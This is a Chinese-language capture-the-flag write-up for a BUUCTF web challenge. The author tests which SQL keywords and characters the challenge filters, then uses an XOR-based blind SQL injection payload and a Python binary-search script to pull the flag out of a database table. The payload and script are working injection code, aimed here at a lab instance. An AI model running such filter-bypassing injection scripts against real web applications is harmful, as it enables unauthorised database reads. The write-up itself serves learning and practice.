[BUUCTF题解][CISCN2019 华北赛区 Day2 Web1]Hack World 1
[2021-04-23 23:20:16 更新了脚本,替换了原来又臭又长的二分法代码]
打开页面直接显示出了目标
看来是要SQL注入把flag表里flag字段读取出来,先手动测试下回显结果,测试出了四种,语句使用单引号闭合。
正确查询的回显(这是提交的id为1的情况,在id为2时还有另外一种情况)
查询无效值的回显(如id=0)
查询语句有语法错误的回显
查询语句包含了被检测字符的结果
从回显结果来看报错注入无法使用,接着测试有哪些字符会被检测
";"会被检测,堆叠注入无法使用;"union"会被检测,联合查询无法使用;注释符"/**/"、"#"、"-- "也会被检测,查询语句得配合逻辑符号用单引号来闭合。但是"select"和其他一些必要关键字还是可以使用,盲注相关的一些逻辑符号也未全被检测,其中有"|"、"^"可以使用,刚好可以写脚本来盲注。
这里先手动测了下字段的长度,是42,使用语句如下
1^(SELECT(LENGTH((SELECT(flag)FROM(flag))=42)))^1
那么接下来用脚本盲注就好了,用二分法来盲注(虽然叫脚本,但实际上写的不忍直视)
#别太快,别太快,别太快,BUUCTF设置了访问速度,太快就会导致返回429
import requests as res
import time
def check(string,num,i):
#URL在这里改
url="http://47650212-e286-4436-9c8e-318292ee21f2.node3.buuoj.cn/index.php"
target=r"1^(SELECT(ascii(SUBSTR((SELECT(flag)FROM(flag)),"+str(i)+",1))"+string+str(num)+"))^1"
data={"id":target}
while(True):
if res.post(url,data=data).status_code==200:
break
else:
#在这里设置收到返回429后的等待时间,根据情况可以设置小一点
time.sleep(0.5)
bak=res.post(url,data=data).text
if bak.find("Hello",0)!=-1:
return True;
else:
return False;
result=""
for i in range(1,43):
prv=33
last=130
print("Now test %d / %d"%(i,42))
while(prv<=last):
middle=(prv+last)//2
if(check("=",middle,i)):
result=result+chr(middle)
print("its %c"%(chr(middle)))
break
elif(check(">",middle,i)):
prv=middle+1
else:
last=middle-1
print(result)
运行效果如下